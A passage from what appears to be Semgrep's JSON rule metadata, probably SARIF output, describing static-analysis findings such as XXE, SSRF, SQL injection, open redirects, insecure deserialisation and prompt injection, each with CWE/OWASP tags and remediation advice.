[https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks through parameter entities by configuring $FACTORY with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","id":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","name":"kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.xmlreader-xxe-parameter-entities.xmlreader-xxe-parameter-entities"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. Don't pass untrusted data to this relationship argument, it's getting passed to `eval`."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","id":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","name":"python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlalchemy-flask-relationship.sqlalchemy-flask-relationship"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"help":{"markdown":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size","id":"cpp.lang.security.crypto.key.small-key-size.small-key-size","name":"cpp.lang.security.crypto.key.small-key-size.small-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.key.small-key-size.small-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint","id":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","name":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"help":{"markdown":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations](https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations)\n","text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal","id":"cpp.lang.correctness.memset-removal.memset-removal","name":"cpp.lang.correctness.memset-removal.memset-removal","properties":{"precision":"very-high","tags":["CWE-14: Compiler Removal of Code to Clear Buffers","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.memset-removal.memset-removal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File traversal when extracting zip archive"},"help":{"markdown":"File traversal when extracting zip archive\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File traversal when extracting zip archive"},"helpUri":"https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction","id":"go.lang.security.zip.path-traversal-inside-zip-extraction","name":"go.lang.security.zip.path-traversal-inside-zip-extraction","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.zip.path-traversal-inside-zip-extraction"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect](https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect)\n - [https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse](https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse)\n - [https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect](https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django","id":"python.django.web.tainted-redirect-django.tainted-redirect-django","name":"python.django.web.tainted-redirect-django.tainted-redirect-django","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-redirect-django.tainted-redirect-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"help":{"markdown":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cwe.mitre.org/data/definitions/613.html](https://cwe.mitre.org/data/definitions/613.html)\n - [https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet](https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet)\n","text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","id":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","name":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution)\n - [https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection](https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","id":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","name":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi","id":"python.fastapi.db.peewee-fastapi.peewee-fastapi","name":"python.fastapi.db.peewee-fastapi.peewee-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.peewee-fastapi.peewee-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas","id":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","name":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pandas.pickles-in-pandas"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","id":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","name":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"help":{"markdown":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb)\n","text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","id":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","name":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"help":{"markdown":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra)\n - [https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra](https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra","id":"python.django.security.audit.query-set-extra.avoid-query-set-extra","name":"python.django.security.audit.query-set-extra.avoid-query-set-extra","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.query-set-extra.avoid-query-set-extra"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask","id":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","name":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.ai.prompt-injection-flask.prompt-injection-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"help":{"markdown":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect)\n - [https://symfony.com/doc/current/controller.html#redirecting](https://symfony.com/doc/current/controller.html#redirecting)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","id":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","name":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS rule on bucket permits any origin"},"help":{"markdown":"CORS rule on bucket permits any origin\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors)\n","text":"CORS rule on bucket permits any origin"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed","id":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","name":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-cors-all-origins.all-origins-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"help":{"markdown":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used)\n - [https://godoc.org/golang.org/x/crypto/sha3](https://godoc.org/golang.org/x/crypto/sha3)\n","text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used","id":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","name":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.bad_imports.insecure-module-used"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli","id":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","name":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - 